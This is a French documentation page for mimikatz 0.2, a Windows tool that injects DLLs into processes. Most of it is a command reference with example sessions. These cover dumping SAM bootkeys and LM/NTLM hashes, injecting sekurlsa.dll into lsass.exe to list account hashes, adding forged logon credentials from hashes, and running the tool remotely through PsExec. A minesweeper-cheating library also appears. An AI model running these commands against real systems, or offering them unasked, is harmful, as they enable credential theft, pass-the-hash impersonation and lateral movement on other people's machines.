Discussions sur ce sujet dans le forum 
mimikatz 0.2
Un outil qu'il est sympa, surtout avec sa librairie sekurlsa (Gentil Kiwi)
Téléchargement
Il est judicieux de lire l'intégralité de cette page avant de se servir de cet outil.
Sommaire
Librairies distantes :
Introduction
mimikatz est un outil d'audit de sécurité, son rôle premier est de placer une librairie dans un processus distant et permettre la communication entre le processus cible et mimikatz à la manière d'un shell.
Ainsi il est tout à fait possible d'utiliser mimikatz pour obtenir le plan du démineur ou manipuler les processus d'authentification Windows, tout dépend de la librairie utilisée !
Il n'y aura aucune explication sur la méthodologie à employer pour pénétrer un quelconque système ou effectuer d'actions illégales ; seulement des explications de commandes
mimikatz a été testé avec succès sur les plateformes suivantes :
- Windows 2000
- Windows XP (32 et 64 bits)
- Windows Server 2003 (32 et 64 bits)
- Windows Vista (32 et 64 bits)
- Windows Server 2008 (32 et 64 bits)
- Windows 7 RC (32 et 64 bits)
Des tests sommaires ont été effectué sous Windows PE 2 (basé sur 2008) avec succès.
Principe de fonctionnement
mimikatz, via les droits administrateur (et en particulier du privilège SeDebugPrivilege), va demander au processus ciblé la création d'un nouveau thread d'éxecution lui permettant de charger une librairie externe.
Cette librairie, via les canaux nommés, va établir une connexion avec le processus mimikatz. Ainsi mimikatz pourra passer des commandes (et obtenir des résultats) depuis du code executé dans un autre processus. mimikatz étant un outil de test, une seule injection par système est possible, en utilisation standard, cette unique limitation ne gêne en rien.
Contrairement à d'autres outils d'injection de librairies, il y a une réelle interaction entre le processus cible et mimikatz, ceci permet par exemple d'éviter les chargements/déchargements de librairies lors d'un déroulement d'actions
mimikatz est disponible en deux version, x86 (32 bits) et x64 (64 bits). La version 64 bits est utile à l'injection de librairie dans un processus 64 bits, dans ce cas mimikatz ET la librairie doivent être 64 bits.
Injecter une librairie 32 bits depuis Vista 64 bits vers le démineur de Windows XP 32 bits ne nécessite pas mimikatz 64 bits par exemple.
Utilisation
mimikatz peut être utilisé localement, ou à distance via l'utilitaire Microsoft PsExec (le rôle premier de mimikatz n'étant pas d'éxecuter des processus distants, autant confier cette tâche à un utilitaire spécialisé !)
A noter : PsExec peut aussi se réveler nécessaire pour exécution sous RDP et/ou Windows >= 6.0 afin de spécifier dans quel contexte lancer le programme (système, utilisateur, interactif ou non)
mimikatz est un outil en mode console, pas seulement parce que je déteste coder des interfaces graphiques, mais parce que cela facilite les interactions lors de l'éxecution en mode distant.
En exécution normale, mimikatz se présente ainsi :
Les commmandes locales sont entrées directement à l'invite (exemple : cls), les commandes distantes sont entrées préfixées d'un '@' (exemple : @getWinmineFunctions).
Commandes locales
Ces commandes peuvent être principalement demandées sans librairie injectée et facilitent l'interaction avec les librairies.
| Commande |
cls |
| Alias |
clear |
| Arguments |
aucun |
| Description |
Efface l'écran |
| Remarque(s) |
N'est pas pris en charge sous PsExec |
| Exemple |
mimikatz # cls
|
| Commande |
exit |
| Alias |
quit, bye |
| Arguments |
aucun |
| Description |
Ferme l'éventuelle connexion et quitte mimikatz |
| Remarque(s) |
aucune |
| Exemple |
mimikatz # quit
Bye :)
|
| Commande |
exec |
| Alias |
start, run |
| Arguments |
[/paused] [/sudo] commande
/paused |
[Optionnel] Démarre le processus avec son thread principal en pause (reprise avec resume) |
/sudo |
[Optionnel] Démarre le processus avec une fausse identification réseau |
commande |
Le processus et les arguments du programme à lancer |
|
| Description |
Exécute un processus |
| Remarque(s) |
aucune |
| Exemple |
mimikatz # exec /paused notepad
Demande d'exécution de : 'notepad'
* Le Thread principal est démarré en pause ! Reprise avec resume ThreadID
PID : 1860
ThreadID : 596
AuthId_h : 0
AuthId_l : 389488
|
| Commande |
resume |
| Alias |
play |
| Arguments |
ThreadId
ThreadId |
Identifiant du thread en pause |
|
| Description |
Reprend un thread en pause |
| Remarque(s) |
aucune |
| Exemple |
mimikatz # resume 596
Reprise du thread 596 avec succès
|
| Commande |
inject |
| Alias |
load |
| Arguments |
{processus|/pid numPid} librairie [/nocomm] [/nodebug]
processus |
Nom du processus cible (exemple : winmine.exe) |
/pid numPid |
Permet de préciser le numéro d'identifiant du processus (numPid)
Nécessaire en cas de doublons |
librairie |
Nom de la librairie à injecter (exemple : demineur.dll) |
/nocomm |
[Optionnel] N'établie pas de connexion à la librairie (pour librairie non Kiwi) |
/nodebug |
[Optionnel] Ne demande pas le privilège SeDebugPrivilege (inutile dans la même session) |
|
| Description |
Injecte une librairie dans un processus (via CreateRemoteThread) |
| Remarque(s) |
aucune |
| Exemple |
mimikatz # inject winmine.exe ..\Release\demineur.dll /nodebug
PID 'winmine.exe' : 1064
Demande d'injection de : ..\Release\demineur.dll dans le processus 1064
Le privilège 'SeDebugPrivilege' NE SERA PAS demandé
Demande de chargement de librairie effectuée avec succès !
Attente de connexion du client...
Serveur connecté à un client !
Message du processus :
Bienvenue dans un processus distant
Gentil Kiwi
|
| Commande |
close |
| Alias |
eject |
| Arguments |
aucun |
| Description |
Ferme la connexion existante au processus (et décharge la librairie) |
| Remarque(s) |
aucune |
| Exemple |
mimikatz # close
Fermeture du canal de communication
|
Bonus
| Commande |
reponse |
| Alias |
repond |
| Arguments |
aucun |
| Description |
Calcule la réponse à la Grande Question sur la Vie, l'Univers et le Reste |
| Remarque(s) |
aucune |
| Exemple |
mimikatz # reponse
La réponse est 42.
|
| Commande |
dumpsam |
| Alias |
samdump |
| Arguments |
rucheSystem rucheSam
rucheSystem |
Chemin vers la ruche SYSTEM |
rucheSam |
Chemin vers la ruche SAM |
|
| Description |
Récupère la bootkey et les identifiants locaux d'un système |
| Remarque(s) |
Les ruches se trouvent dans %SystemRoot%\System32\Config
Ces fichiers sont inacessibles sur un système en fonctionnement |
| Exemple |
mimikatz # samdump p:\system p:\sam
Nom du système : HOSTNAME
Bootkey du système : aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
ID : 500
Nom : Administrateur
Hash LM : bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb
Hash NTLM : cccccccccccccccccccccccccccccccc
ID : 501
Nom : Invité
Hash LM :
Hash NTLM :
[…]
Ce bonus fonctionne très bien sous Windows PE...
|
Commandes de la librairie demineur.dll
Cette librairie permet de manipuler le démineur.
La commande typique d'injection est : inject winmine.exe demineur.dll
Par feignantise cette librairie n'est que 32 bits et ne fonctionne que sous Windows 5.x
| Commande |
getWinmineFunctions |
| Arguments |
aucun |
| Description |
Retourne les adresses essentielles au fonctionnement |
| Remarque(s) |
aucune |
| Exemple |
mimikatz # @getWinmineFunctions
** WinMine ** ; Statut recherche : OK :)
@Pause = 0100341C
@Reprise = 0100344C
@Champ de mine = 01002EDD
|
| Commande |
pause |
| Arguments |
aucun |
| Description |
Met en pause le chronomètre du démineur (la partie peut continuer) |
| Remarque(s) |
aucune |
| Exemple |
mimikatz # @pause
|
| Commande |
resume |
| Arguments |
aucun |
| Description |
Reprend le chronomètre du démineur |
| Remarque(s) |
aucune |
| Exemple |
mimikatz # @resume
|
| Commande |
getMines |
| Arguments |
aucun |
| Description |
Retourne un plan du champ de mine |
| Remarque(s) |
aucune |
| Exemple |
mimikatz # @getMines
% % % % % % % % % % %
% 1 . . . . . * 1 . %
% . * . . . 1 . . . %
% . . . . . . . . . %
% . . * 1 . . . . * %
% . . . . . . 1 1 1 %
% . * . . . * 1 %
% . 3 * . . . 2 %
% * . . . . * 1 %
% . * . . . . 1 %
% % % % % % % % % % %
|
Commandes de la librairie klock.dll
Cette librairie permet de basculer des bureaux.
La commande typique d'injection est : inject winlogon.exe klock.dll
Mais agissant rarement sur un poste verrouillé, il convient de passer par psexec pour lancer mimikatz sur un poste distant.
Pour les Windows 6.x et supérieur, mimikatz doit être lancé via un mode particulier afin de pouvoir interagir avec le processus WinLogon : psexec [\\poste] -i mimikatz pidWinLogon klock.dll echange
Dans ce mode mimikatz n'est pas interactif et basculera automatiquement les bureaux
| Commande |
echange |
| Arguments |
[bureauSource bureauCible]
bureauSource |
[Optionnel] Nom du bureau à basculer (typiquement WinLogon) |
bureauCible |
[Optionnel] Nom du bureau vers lequel basculer (typiquement Default) |
|
| Description |
Bascule un bureau vers un autre, si exécuté sans arguments, klock.dll déterminera automatiquement vers quel bureau basculer |
| Remarque(s) |
aucune |
| Exemple |
mimikatz # @echange
Bureau courant : Winlogon
Bureau cible : Default
Switch du bureau réussi !
mimikatz # @echange
Bureau courant : Default
Bureau cible : WinLogon
Switch du bureau réussi !
|
Commandes de la librairie sekurlsa.dll
Cette librairie permet de manipuler le processus d'authentification Windows.
La commande typique d'injection est : inject lsass.exe sekurlsa.dll
Pour les Windows 6.x et supérieur, mimikatz doit être lancé via un mode particulier afin de pouvoir interagir avec le processus système LSASS : psexec [\\poste] -s mimikatz
Manipulation de la SAM
Permet de manipuler les comptes locaux Windows sur poste standard, ou les comptes du domaine sur un contrôleur de domaine.
| Commande |
getSAMFunctions |
| Arguments |
aucun |
| Description |
Retourne les adresses essentielles au fonctionnement |
| Remarque(s) |
aucune |
| Exemple |
mimikatz # @getSAMFunctions
** samsrv.dll ** ; Statut recherche : OK :)
@SamIConnect = 000007FF79BF9D40
@SamrOpenDomain = 000007FF79BF24F0
@SamrOpenUser = 000007FF79BF4960
@SamrEnumerateUsersInDomain = 000007FF79C2B150
@SamrQueryInformationUser = 000007FF79BF55C0
@SamIFree_SAMPR_USER_INFO_BUFFER = 000007FF79BE1EB0
@SamIFree_SAMPR_ENUMERATION_BUFFER = 000007FF79C55610
@SamrCloseHandle = 000007FF79C04220
|
| Commande |
getLocalAccounts |
| Arguments |
[/full] [/csv]
/full |
[Optionnel] Affiche des informations bien plus complètes sur les comptes |
/csv |
[Optionnel] La sortie s'effectue au format CSV pour une exploitation plus facile |
|
| Description |
Récupère des informations sur les comptes locaux |
| Remarque(s) |
aucune |
| Exemple |
mimikatz # @getLocalAccounts /csv
Gentil Kiwi;NIRVANA;aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa;bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb;
Gentil Boulet;NIRVANA;;;
krbtgt;NIRVANA;;bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb;
__vmware_user__;NIRVANA;;bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb;
test1;NIRVANA;9d3f8edfa6bd8badb644f31edae0ec8b;50c281c617ea9ee0880c8b735cc50f47;
test2;NIRVANA;9d3f8edfa6bd8badbb2d20376863b425;b7434f6136bb1922bcbd35c697347534;
SRVKIWI$;NIRVANA;;bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb;
KIWI$;NIRVANA;;bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb;
WINDOWS-E$;NIRVANA;;bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb;
WINDOWS-G$;NIRVANA;;bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb;
WINDOWS-A$;NIRVANA;;bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb;
KIWIND$;NIRVANA;;bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb;
WINDOWS-B$;NIRVANA;;bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb;
mimikatz # @getLocalAccounts /full
[…]
Compte
======
ID : 1124
Nom : KIWIND$
Domaine : NIRVANA
Nom complet : KIWIND$
Actif : true
Verouillé : false
Type : Ordinateur
Commentaire utilisateur :
Commentaire admin :
Expiration : N'arrive jamais
Station(s) :
Chemins
-------
Répertoire de base :
Lecteur de base :
Profil :
Script de démarrage :
Connexions
----------
Nombre : 69
Echecs : 0
Dernière connexion : 08/05/2009 20:40:36
Dernière déconnexion : N'est pas encore arrivé
Mot de passe
------------
Dernier changement : 04/05/2009 22:24:51
N'expire pas : false
Peut être vide : false
Mot de passe expiré : false
Possibilité changement : 05/05/2009 22:24:51
Obligation changement : N'arrive jamais
Hashs
-----
Hash LM :
Hash NTLM : bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb
[…]
|
Manipulation du package MSV1_0
Permet de manipuler les authentifications en cours.
| Commande |
getMSVFunctions |
| Arguments |
aucun |
| Description |
Retourne les adresses essentielles au fonctionnement |
| Remarque(s) |
aucune |
| Exemple |
mimikatz # @getMSVFunctions
** msv1_0.dll ** ; Statut recherche : OK :)
@GetPrimaryCredential = 000007FF7E2BCFE0
@AddPrimaryCredential = 000007FF7E2BFF80
@DeletePrimaryCredential = 000007FF7E2D0CC0
|
| Commande |
getLogonSessions |
| Arguments |
aucun |
| Description |
Retourne les sessions en cours sur le système |
| Remarque(s) |
aucune |
| Exemple |
mimikatz # @getLogonSessions
Authentification Id : 0;804124
Package d'authentification : Kerberos
Utilisateur principal : Gentil Kiwi
Utilisateur : Gentil Kiwi
Domaine de connexion : NIRVANA
Hash LM : aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
Hash NTLM : bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb
[…]
|
| Commande |
addLogonSession |
| Arguments |
[idSecAppHigh] idSecAppLow Utilisateur {Domaine|Poste} [HashLM] HashNTLM
idSecAppHigh |
[Optionnel] Identifiant d'authentification ciblé, partie Haute (souvent 0) |
idSecAppLow |
Identifiant d'authentification ciblé, partie Basse |
Utilisateur |
Nom d'utilisateur à ajouter |
Domaine |
Nom de domaine ciblé |
Poste |
Poste ciblé |
HashLM |
[Optionnel] Hash LM à ajouter |
HashNTLM |
Hash NTLM à ajouter |
|
| Description |
Ajoute un identifiant de sécurité à un package d'authentification |
| Remarque(s) |
aucune |
| Exemple |
mimikatz # @addLogonSession 22577311 "Gentil Kiwi" NIRVANA bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb
Injection de données de sécurité réussie :)
|
| Commande |
delLogonSession |
| Arguments |
[idSecAppHigh] idSecAppLow
idSecAppHigh |
[Optionnel] Identifiant d'authentification ciblé, partie Haute (souvent 0) |
idSecAppLow |
Identifiant d'authentification ciblé, partie Basse |
|
| Description |
Supprime un identifiant de sécurité d'un package d'authentification |
| Remarque(s) |
aucune |
| Exemple |
mimikatz # @delLogonSession 22577311
Suppression des données de sécurité réussie :)
|